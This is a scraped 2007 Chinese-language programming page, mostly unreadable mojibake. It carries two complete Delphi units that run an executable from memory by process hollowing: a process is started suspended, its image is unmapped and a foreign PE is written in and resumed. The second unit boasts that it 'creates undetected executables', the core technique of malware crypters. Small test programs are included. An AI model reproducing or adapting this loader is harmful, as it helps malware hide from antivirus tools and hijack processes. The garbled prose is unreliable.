You are on page 1of 13

keylife���̱ʼ�

��� �: lqcros

��� : ‫��ת�� ���ڴ‬м��‫�����ز‬exe

� ���:

���‫ ����ר‬: ��

����
ܼ : ����

(�7�: , �0 :�‫ظ‬, �Ķ�: 104) »»


{
windows�ƺ�ֻ�ṩ��һ�����̵ķ������������һ���ִ���ļ��м��‫����ز‬

��������δ�������ṩһ�ֿ���ֱ�Ӵ��‫�����ڴ‬һ��exe�ı� �취��

��;��, Ҳ�������4�������exe������ �Ҫ������ exe ���������з֡����‫��ܡ‬洢��

ֻҪ����ʱ��
ܽ exe�������� ƴ�ӵ�һ���‫��ڴ‬У��Ϳ���ֱ�Ӵ��‫ززز‬
��������‫���ڴ‬ȫ��ȥ

���һ����ʱ�ļ��‫���ٴ‬ʱ�ļ����̡�������δ���Ҳ�ṩ��һ��� �дexe��ǵļ�;����

�����������������Ǽ��� �õ ‫������ر‬exe�ļ���

��ܼ ����ǡ���ʬ��� ����һ��ʬ��̣�nt�¿�����������������һ���̣���

Ȼ����������ǰ��������滻���‫��ڴ‬е�exe���‫�����ݣ‬ʽ���к�ִ�еľ������Ŀ������ˡ�

��������л���һЩ��������ĵ 98���������‫�����ط‬л���һ��ʬ����Ŀ���Ӳ���ϣ�

��ʵ�Ǹ�ʬ���������һ������Ŀ�ִ�г���ֱ�����еĻ�ֻ��ʾһ�������ϢȻ����˳��ˣ���

�������‫ڿ‬͹������ƣ�����û�о����ֲ�� �ֻ��xp�½�����һЩ���� ��� exe���������У�

upxѹ����exe����������¶������У�ֻ���‫���ڲ‬ж� �ʬ���ʱ������� upxѹ����exeû���‫���ض‬

�‫���ַ������ ����ص‬У���

�����bug���֮������и�õķ����98������
ܽ ‫�ر‬µ�����β�͵Ļ�ϣ��� ͽ̡�
}

{ ******************************************************* }
{ * ���‫��ڴ‬м��‫�����ز‬exe
* }
{ ******************************************************* }
{ * ����
}
{ * buffer: �‫��ڴ‬е�exe��ַ
}
{ * len: �‫���ڴ‬exeռ�ó���
}
{ * cmdparam: �����в���(����exe�ļ����ʣ�������в���}
{ * processid: ���‫ص‬Ľ��Id
}
{ * ����ֵ�� ���ɹ�� �̵�handle(processhandle), }
{ ���ʧ��� �Invalid_handle_value }

{ ******************************************************* }

unit peunit;

interface

uses windows;

function memexecute(const abuffer; len: integer; cmdparam: string; var processid:


cardinal): cardinal;

implementation

//{$r exeshell.res} // ��dz���ģ��(98��ʹ��)

type
timagesectionheaders = array [0..0] of timagesectionheader;
pimagesectionheaders = ^timagesectionheaders;

{ ��������Ĵ�С }
function getalignedsize(origin, alignment: cardinal): cardinal;
begin
result := (origin + alignment - 1) div alignment * alignment;
end;

{ �������pe��������Ҫռ�ö����‫ڴ‬棬

δֱ��ʹ��optionalheader.sizeofimage��Ϊ�������Ϊ�� �еı�������ɵ�exe���ֵ����0 }
function calctotalimagesize(mzh: pimagedosheader; filelen: cardinal; peh:
pimagentheaders;
pesech: pimagesectionheaders): cardinal;
var
i: integer;
begin
{����pe �Ĵ�С}
result := getalignedsize(peh.optionalheader.sizeofheaders,
peh.optionalheader.sectionalignment);

{�������н ‫ڵ‬Ĵ�С}
for i := 0 to peh.fileheader.numberofsections - 1 do
if pesech[i].pointertorawdata + pesech[i].sizeofrawdata > filelen then //
�����ļ���Χ
begin
result := 0;
exit;
end
else if pesech[i].virtualaddress <> 0 then //��������ij�‫ڵ‬Ĵ�С
if pesech[i].misc.virtualsize <> 0 then
result := getalignedsize(pesech[i].virtualaddress +
pesech[i].misc.virtualsize, peh.optionalheader.sectionalignment)
else
result := getalignedsize(pesech[i].virtualaddress +
pesech[i].sizeofrawdata, peh.optionalheader.sectionalignment)
else if pesech[i].misc.virtualsize < pesech[i].sizeofrawdata then
result := result + getalignedsize(pesech[i].sizeofrawdata,
peh.optionalheader.sectionalignment)
else
result := result + getalignedsize(pesech[i].misc.virtualsize,
peh.optionalheader.sectionalignment);

end;

{ ����pe���‫ڴ‬沢�������н� }
function alignpetomem(const buf; len: integer; var peh: pimagentheaders;
var pesech: pimagesectionheaders; var mem: pointer; var imagesize: cardinal):
boolean;
var
srcmz: pimagedosheader; // dos
srcpeh: pimagentheaders; // pe
srcpesech: pimagesectionheaders; // �‫�ڱ‬
i: integer;
l: cardinal;
pt: pointer;
begin
result := false;
srcmz := @buf;
if len < sizeof(timagedosheader) then exit;
if srcmz.e_magic <> image_dos_signature then exit;
if len < srcmz._lfanew+sizeof(timagentheaders) then exit;
srcpeh := pointer(integer(srcmz)+srcmz._lfanew);
if (srcpeh.signature <> image_nt_signature) then exit;
if (srcpeh.fileheader.characteristics and image_file_dll <> 0) or
(srcpeh.fileheader.characteristics and image_file_executable_image = 0)
or (srcpeh.fileheader.sizeofoptionalheader <> sizeof(timageoptionalheader))
then exit;
srcpesech := pointer(integer(srcpeh)+sizeof(timagentheaders));
imagesize := calctotalimagesize(srcmz, len, srcpeh, srcpesech);
if imagesize = 0 then
exit;
mem := virtualalloc(nil, imagesize, mem_commit, page_execute_readwrite); //
�����‫�ڴ‬
if mem <> nil then
begin
// ������Ҫ���Ƶ�Pe �ֽ���
l := srcpeh.optionalheader.sizeofheaders;
for i := 0 to srcpeh.fileheader.numberofsections - 1 do
if (srcpesech[i].pointertorawdata <> 0) and (srcpesech[i].pointertorawdata <
l) then
l := srcpesech[i].pointertorawdata;
move(srcmz^, mem^, l);
peh := pointer(integer(mem) + pimagedosheader(mem)._lfanew);
pesech := pointer(integer(peh) + sizeof(timagentheaders));

pt := pointer(cardinal(mem) + getalignedsize(peh.optionalheader.sizeofheaders,
peh.optionalheader.sectionalignment));
for i := 0 to peh.fileheader.numberofsections - 1 do
begin
// ��λ�ý����‫��ڴ‬е�λ��
if pesech[i].virtualaddress <> 0 then
pt := pointer(cardinal(mem) + pesech[i].virtualaddress);

if pesech[i].sizeofrawdata <> 0 then


begin
// ������‫� ��ڴ‬
move(pointer(cardinal(srcmz) + pesech[i].pointertorawdata)^, pt^,
pesech[i].sizeofrawdata);
if pesech[i].misc.virtualsize < pesech[i].sizeofrawdata then
pt := pointer(cardinal(pt) + getalignedsize(pesech[i].sizeofrawdata,
peh.optionalheader.sectionalignment))
else
pt := pointer(cardinal(pt) + getalignedsize(pesech[i].misc.virtualsize,
peh.optionalheader.sectionalignment));
// pt ��λ����һ�‫�ڿ‬ʼλ��
end
else
pt := pointer(cardinal(pt) + getalignedsize(pesech[i].misc.virtualsize,
peh.optionalheader.sectionalignment));
end;
result := true;
end;
end;

type
tvirtualallocex = function (hprocess: thandle; lpaddress: pointer;
dwsize, flallocationtype: dword; flprotect:
dword): pointer; stdcall;

var
myvirtualallocex: tvirtualallocex = nil;

function isnt: boolean;


begin
result := assigned(myvirtualallocex);
end;

{ �����dz��������� }
function prepareshellexe(cmdparam: string; baseaddr, imagesize: cardinal): string;
var
r, h, sz: cardinal;
p: pointer;
fid, l: integer;
buf: pointer;
peh: pimagentheaders;
pesech: pimagesectionheaders;
begin
if isnt then
{ nt ϵͳ��ֱ��ʹ�����������Ϊ��ǽ�� }
result := paramstr(0) + cmdparam
else begin
// ����98ϵͳ��� ����·�����ǽ��ռ���‫�ڴ‬,��� ��뱣֤���е���dz���������Ŀ���̲��Ҽ��‫ַ�ص‬һ��
// � �ʹ�
ķ õ����Ǵ��� ���
� ų�һ�����
� Ƚ�b�õ�dz��� ,Ȼ�� ��� ���PE ʹ������ʱ���
ܼ

‫������������ַ����ָ�ص‬Ŀ����
r := findresource(hinstance, 'shell_exe', rt_rcdata);
h := loadresource(hinstance, r);
p := lockresource(h);
l := sizeofresource(hinstance, r);
getmem(buf, l);
move(p^, buf^, l); // �u��‫�ڴ‬
freeresource(h);
peh := pointer(integer(buf) + pimagedosheader(buf)._lfanew);
pesech := pointer(integer(peh) + sizeof(timagentheaders));
peh.optionalheader.imagebase := baseaddr; // � �Pe �‫ص‬ļ�� �ַ

if peh.optionalheader.sizeofimage < imagesize then // Ŀ�����Ǵ�,�

���dz�������ʱռ�õ��‫�ڴ‬
begin
sz := imagesize - peh.optionalheader.sizeofimage;
inc(peh.optionalheader.sizeofimage, sz); // ������ռ���‫���ڴ‬
inc(pesech[peh.fileheader.numberofsections-1].misc.virtualsize, sz); //
�������һ��ռ���‫���ڴ‬
end;

// �����dz����ļ���, Ϊ������ĺ� ��õ���

// ���‫ ���ڲ‬uses sysutils (һ�� use �˳������80k����),

����͵�c�����ֻ֧���������11���̣��� ��Ϊ.dat, .da0~.da9


result := paramstr(0);
result := copy(result, 1, length(result) - 4) + '.dat';
r := 0;
while r < 10 do
begin
fid := createfile(pchar(result), generic_read or generic_write, 0, nil,
create_always, file_attribute_normal, 0);
if fid < 0 then
begin
result := copy(result, 1, length(result)-3)+'da'+char(r+byte('0'));
inc(r);
end
else begin
//setfilepointer(fid, imagesize, nil, 0);
//setendoffile(fid);
//setfilepointer(fid, 0, nil, 0);
writefile(fid, buf^, l, h, nil); // д���ļ�
closehandle(fid);
break;
end;
end;
result := result + cmdparam; // ���������
freemem(buf);
end;
end;
{ �Ƿ����‫����ض‬б� }
function hasrelocationtable(peh: pimagentheaders): boolean;
begin
result :=
(peh.optionalheader.datadirectory[image_directory_entry_basereloc].virtualaddress
<> 0)
and (peh.optionalheader.datadirectory[image_directory_entry_basereloc].size
<> 0);
end;

type
pimagebaserelocation= ^timagebaserelocation;
timagebaserelocation = packed record
virtualaddress: cardinal;
sizeofblock: cardinal;
end;

{ �‫���ض‬pe�õ��ĵ�ַ }
procedure dorelocation(peh: pimagentheaders; oldbase, newbase: pointer);
var
delta: cardinal;
p: pimagebaserelocation;
pw: pword;
i: integer;
begin
delta := cardinal(newbase) - peh.optionalheader.imagebase;
p := pointer(cardinal(oldbase) +
peh.optionalheader.datadirectory[image_directory_entry_basereloc].virtualaddress);
while (p.virtualaddress + p.sizeofblock <> 0) do
begin
pw := pointer(integer(p) + sizeof(p^));
for i := 1 to (p.sizeofblock - sizeof(p^)) div 2 do
begin
if pw^ and $f000 = $3000 then
inc(pcardinal(cardinal(oldbase) + p.virtualaddress + (pw^ and $0fff))^,
delta);
inc(pw);
end;
p := pointer(pw);
end;
end;

type
tzwunmapviewofsection = function (handle, baseadr: cardinal): cardinal; stdcall;

{ � ���
���ռ ‫} �ڴ‬
function unloadshell(prochnd, baseaddr: cardinal): boolean;
var
m: hmodule;
zwunmapviewofsection: tzwunmapviewofsection;
begin
result := false;
m := loadlibrary('ntdll.dll');
if m <> 0 then
begin
zwunmapviewofsection := getprocaddress(m, 'zwunmapviewofsection');
if assigned(zwunmapviewofsection) then
result := (zwunmapviewofsection(prochnd, baseaddr) = 0);
freelibrary(m);
end;
end;

{ ������ǽ�̲��� ���ַ����С�͵�ǰ����̬‫} ״‬
function createchild(cmd: string; var ctx: tcontext; var prochnd, thrdhnd, procid,
baseaddr, imagesize: cardinal): boolean;
var
si: tstartupinfo;
pi: tprocessinformation;
old: cardinal;
meminfo: tmemorybasicinformation;
p: pointer;
begin
fillchar(si, sizeof(si), 0);
fillchar(pi, sizeof(pi), 0);
si.cb := sizeof(si);
result := createprocess(nil, pchar(cmd), nil, nil, false, create_suspended, nil,
nil, si, pi); // � ���ʽ���н��
if result then
begin
prochnd := pi.hprocess;
thrdhnd := pi.hthread;
procid := pi.dwprocessid;

{ �� ��ǽ������̬‫[��״‬ctx.ebx+8]�‫ڴ‬洦�������ǽ�̵ļ�� �ַ��ctx.eax�������ǽ�̵���‫} ַ�ڵ‬


ctx.contextflags := context_full;
getthreadcontext(thrdhnd, ctx);
readprocessmemory(prochnd, pointer(ctx.ebx+8), @baseaddr, sizeof(cardinal),
old); // �� ��� �ַ
p := pointer(baseaddr);

{ ������ǽ��ռ�е��‫} �ڴ‬
while virtualqueryex(prochnd, p, meminfo, sizeof(meminfo)) <> 0 do
begin
if meminfo.state = mem_free then
break;
p := pointer(cardinal(p) + meminfo.regionsize);
end;
imagesize := cardinal(p) - cardinal(baseaddr);
end;
end;

{ ������ǽ�̲���Ŀ�����滻��Ȼ��ִ�� }
function attachpe(cmdparam: string; peh: pimagentheaders; pesech:
pimagesectionheaders;
ptr: pointer; imagesize: cardinal; var procid: cardinal): cardinal;
var
s: string;
addr, size: cardinal;
ctx: tcontext;
old: cardinal;
p: pointer;
thrd: cardinal;
begin
result := invalid_handle_value;
s := prepareshellexe(cmdparam, peh.optionalheader.imagebase, imagesize);
if createchild(s, ctx, result, thrd, procid, addr, size) then
begin
p := nil;
if (peh.optionalheader.imagebase = addr) and (size >= imagesize) then //
��ǽ�̿�������Ŀ���̲��Ҽ��‫ַ�ص‬һ��
begin
p := pointer(addr);
virtualprotectex(result, p, size, page_execute_readwrite, old);
end
else if isnt then // 98 ��ʧ��
begin
if unloadshell(result, addr) then // ж����ǽ��ռ���‫�ڴ‬

// ���°�Ŀ���̼�� �ַ�ʹ�С�����‫�ڴ‬
p := myvirtualallocex(result, pointer(peh.optionalheader.imagebase),
imagesize, mem_reserve or mem_commit, page_execute_readwrite);
if (p = nil) and hasrelocationtable(peh) then // �����‫�ڴ‬ʧ����
ܲ Ŀ����֧���‫���ض‬
begin
// �������ַ�����‫�ڴ‬
p := myvirtualallocex(result, nil, imagesize, mem_reserve or mem_commit,
page_execute_readwrite);
if p <> nil then
dorelocation(peh, ptr, p); // �‫���ض‬
end;
end;
if p <> nil then
begin
writeprocessmemory(result, pointer(ctx.ebx+8), @p, sizeof(dword), old); //
����Ŀ�������л����еĻ�ַ
peh.optionalheader.imagebase := cardinal(p);
if writeprocessmemory(result, p, ptr, imagesize, old) then // ����pe��

�Ŀ����
begin
ctx.contextflags := context_full;
if cardinal(p) = addr then
ctx.eax := peh.optionalheader.imagebase +
peh.optionalheader.addressofentrypoint // �������л����е���‫ַ�ڵ‬
else
ctx.eax := cardinal(p) + peh.optionalheader.addressofentrypoint;
setthreadcontext(thrd, ctx); // ���������
resumethread(thrd); // ִ��
closehandle(thrd);
end
else begin // ����ʧ��,ɱ����ǽ��
terminateprocess(result, 0);
closehandle(thrd);
closehandle(result);
result := invalid_handle_value;
end;
end
else begin // ����ʧ��,ɱ����ǽ��
terminateprocess(result, 0);
closehandle(thrd);
closehandle(result);
result := invalid_handle_value;
end;
end;
end;

function memexecute(const abuffer; len: integer; cmdparam: string; var processid:


cardinal): cardinal;
var
peh: pimagentheaders;
pesech: pimagesectionheaders;
ptr: pointer;
pesz: cardinal;
begin
result := invalid_handle_value;
if alignpetomem(abuffer, len, peh, pesech, ptr, pesz) then
begin
result := attachpe(cmdparam, peh, pesech, ptr, pesz, processid);
virtualfree(ptr, pesz, mem_decommit);
//virtualfree(ptr, 0, mem_release);
end;
end;

initialization
myvirtualallocex := getprocaddress(getmodulehandle('kernel32.dll'),
'virtualallocex');

end.

{
д��һ�� ������ ��
}
program test;

//{$apptype console}

uses
sysutils,
classes,
peunit in 'peunit.pas';
var
abuffer: array of byte;
stream: tfilestream;
processid: cardinal;
begin
stream := tfilestream.create('ht.exe', fmopenread);
try
setlength(abuffer, stream.size);
stream.readbuffer(abuffer[0], stream.size);
memexecute(abuffer[0], stream.size, '', processid);
finally
stream.free;
end;
end.

2007-8-30 16:09:23
��������&raquo;&raquo;&raquo;

2007-8-30 16:13:07 ��һ��{


exe memory unit two for nt,2k,xp,2k3,lh by anskya
email:anskya@gmail.com
web:www.anskya.net
date:04.08.2005
thank:aphex

procedure memoryrunexe(filememory: pointer);


[
this program creates undetected executables that only run
on windows nt, 2000, xp, 2003 and longhorn. ??
]
}
unit memoryrununittwo;

interface

{$imagebase $10000000}

uses
windows;

type
tsections = array [0..0] of timagesectionheader;

procedure memoryrunexe(filememory: pointer);

implementation

function getalignedsize(size: dword; alignment: dword): dword;


begin
if ((size mod alignment) = 0) then
begin
result := size;
end
else
begin
result := ((size div alignment) + 1) * alignment;
end;
end;

function imagesize(image: pointer): dword;


var
alignment: dword;
imagentheaders: pimagentheaders;
psections: ^tsections;
sectionloop: dword;
begin
imagentheaders := pointer(dword(dword(image)) +
dword(pimagedosheader(image)._lfanew));
alignment := imagentheaders.optionalheader.sectionalignment;
if ((imagentheaders.optionalheader.sizeofheaders mod alignment) = 0) then
begin
result := imagentheaders.optionalheader.sizeofheaders;
end
else
begin
result := ((imagentheaders.optionalheader.sizeofheaders div alignment) + 1) *
alignment;
end;
psections := pointer(pchar(@(imagentheaders.optionalheader)) +
imagentheaders.fileheader.sizeofoptionalheader);
for sectionloop := 0 to imagentheaders.fileheader.numberofsections - 1 do
begin
if psections[sectionloop].misc.virtualsize <> 0 then
begin
if ((psections[sectionloop].misc.virtualsize mod alignment) = 0) then
begin
result := result + psections[sectionloop].misc.virtualsize;
end
else
begin
result := result + (((psections[sectionloop].misc.virtualsize div
alignment) + 1) * alignment);
end;
end;
end;
end;

procedure memoryrunexe(filememory: pointer);


var
baseaddress, bytes, headersize, injectsize, sectionloop, sectionsize: dword;
context: tcontext;
filedata: pointer;
imagentheaders: pimagentheaders;
injectmemory: pointer;
procinfo: tprocessinformation;
psections: ^tsections;
startinfo: tstartupinfo;
begin
imagentheaders := pointer(dword(dword(filememory)) +
dword(pimagedosheader(filememory)._lfanew));
injectsize := imagesize(filememory);
getmem(injectmemory, injectsize);
try
filedata := injectmemory;
headersize := imagentheaders.optionalheader.sizeofheaders;
psections := pointer(pchar(@(imagentheaders.optionalheader)) +
imagentheaders.fileheader.sizeofoptionalheader);
for sectionloop := 0 to imagentheaders.fileheader.numberofsections - 1 do
begin
if psections[sectionloop].pointertorawdata < headersize then headersize :=
psections[sectionloop].pointertorawdata;
end;
copymemory(filedata, filememory, headersize);
filedata := pointer(dword(filedata) +
getalignedsize(imagentheaders.optionalheader.sizeofheaders,
imagentheaders.optionalheader.sectionalignment));
for sectionloop := 0 to imagentheaders.fileheader.numberofsections - 1 do
begin
if psections[sectionloop].sizeofrawdata > 0 then
begin
sectionsize := psections[sectionloop].sizeofrawdata;
if sectionsize > psections[sectionloop].misc.virtualsize then sectionsize
:= psections[sectionloop].misc.virtualsize;
copymemory(filedata, pointer(dword(filememory) +
psections[sectionloop].pointertorawdata), sectionsize);
filedata := pointer(dword(filedata) +
getalignedsize(psections[sectionloop].misc.virtualsize,
imagentheaders.optionalheader.sectionalignment));
end
else
begin
if psections[sectionloop].misc.virtualsize <> 0 then filedata :=
pointer(dword(filedata) + getalignedsize(psections[sectionloop].misc.virtualsize,
imagentheaders.optionalheader.sectionalignment));
end;
end;
zeromemory(@startinfo, sizeof(startupinfo));
zeromemory(@context, sizeof(tcontext));
createprocess(nil, pchar(paramstr(0)), nil, nil, false, create_suspended, nil,
nil, startinfo, procinfo);
context.contextflags := context_full;
getthreadcontext(procinfo.hthread, context);
readprocessmemory(procinfo.hprocess, pointer(context.ebx + 8), @baseaddress,
4, bytes);
virtualallocex(procinfo.hprocess,
pointer(imagentheaders.optionalheader.imagebase), injectsize, mem_reserve or
mem_commit, page_execute_readwrite);
writeprocessmemory(procinfo.hprocess,
pointer(imagentheaders.optionalheader.imagebase), injectmemory, injectsize,
bytes);
writeprocessmemory(procinfo.hprocess, pointer(context.ebx + 8),
@imagentheaders.optionalheader.imagebase, 4, bytes);
context.eax := imagentheaders.optionalheader.imagebase +
imagentheaders.optionalheader.addressofentrypoint;
setthreadcontext(procinfo.hthread, context);
resumethread(procinfo.hthread);
finally
freememory(injectmemory);
end;
end;

end.

{
д��һ�� ������ ��
}
program test1;

//{$apptype console}
uses
sysutils,
classes,
memoryrununittwo in 'memoryrununittwo.pas';

var
abuffer: array of byte;
stream: tfilestream;
processid: cardinal;
begin
stream := tfilestream.create('ht.exe', fmopenread);
try
setlength(abuffer, stream.size);
stream.readbuffer(abuffer[0], stream.size);
memoryrunexe(@abuffer[0]);
finally
stream.free;
end;
end.